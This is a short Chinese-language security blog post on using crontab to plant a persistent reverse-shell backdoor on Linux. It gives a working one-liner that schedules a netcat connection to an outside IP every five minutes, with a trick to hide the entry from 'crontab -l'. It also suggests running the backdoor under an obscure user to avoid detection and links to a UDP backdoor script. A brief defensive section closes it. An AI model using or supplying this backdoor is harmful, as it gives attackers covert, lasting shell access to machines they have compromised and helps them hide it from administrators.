shell: 利用crontab命令定时执行任务反弹shell后门
June 3, 2015
作者:柠檬草
出自安全盒子团队:www.secbox.cn
blog: http://www.iamstudy.cn
猪猪侠发的文章: http://zone.wooyun.org/content/18244
1、基础知识
http://www.cnblogs.com/kerrycode/p/3238346.html
当前用户的计划任务
crontab -l 查看计划任务 -r 删除所有定时计划任务 -e 编辑计划任务
任务的格式:分 时 天 月 年 用户 命令
* * * * * root /home/oracle/test.sh 1>/home/oracle/log.txt &
2、shell反弹
nc版的shell反弹:
(crontab -l;printf “*/5 * * * * /bin/nc 192.168.1.153 8080 -e /bin/sh;rno crontab for `whoami`0cn”)|crontab –
利用输出信息,导致crontab -l分辨不出,每5分钟进行连接一次。
xsser总结的一篇反弹shell的各种姿势: http://zone.wooyun.org/content/5064
最好用一个不常见的用户执行,任务写入/var/spool/cron/$username
只有在连接的时候才会发现tcp
有大神给出了udp反弹的后门
https://github.com/cloudsec/brootkit/blob/master/ubd.sh
测试的时候有个问题在里面,连接一次后退出,udp文件被改变,并不能再使用。
3、防御:
1、采用白名单,只允许某个帐号使用 crontab命令 。 在 /etc/cron.allow 中设置
2、每一项任务会被记录到/var/log/cron的日记文件中(测试的时候并没有….可能环境不同)
3、crontab -e 编辑当前用户的任务,这时可以看到 当前 用户的计划任务,所以在留后门,需要找一个不常 见的用户
4、cron每分钟会去读取一次/etc/crontab/与/var/spool/cron里面的数据内容,所以要注意里面的数据
0 Comments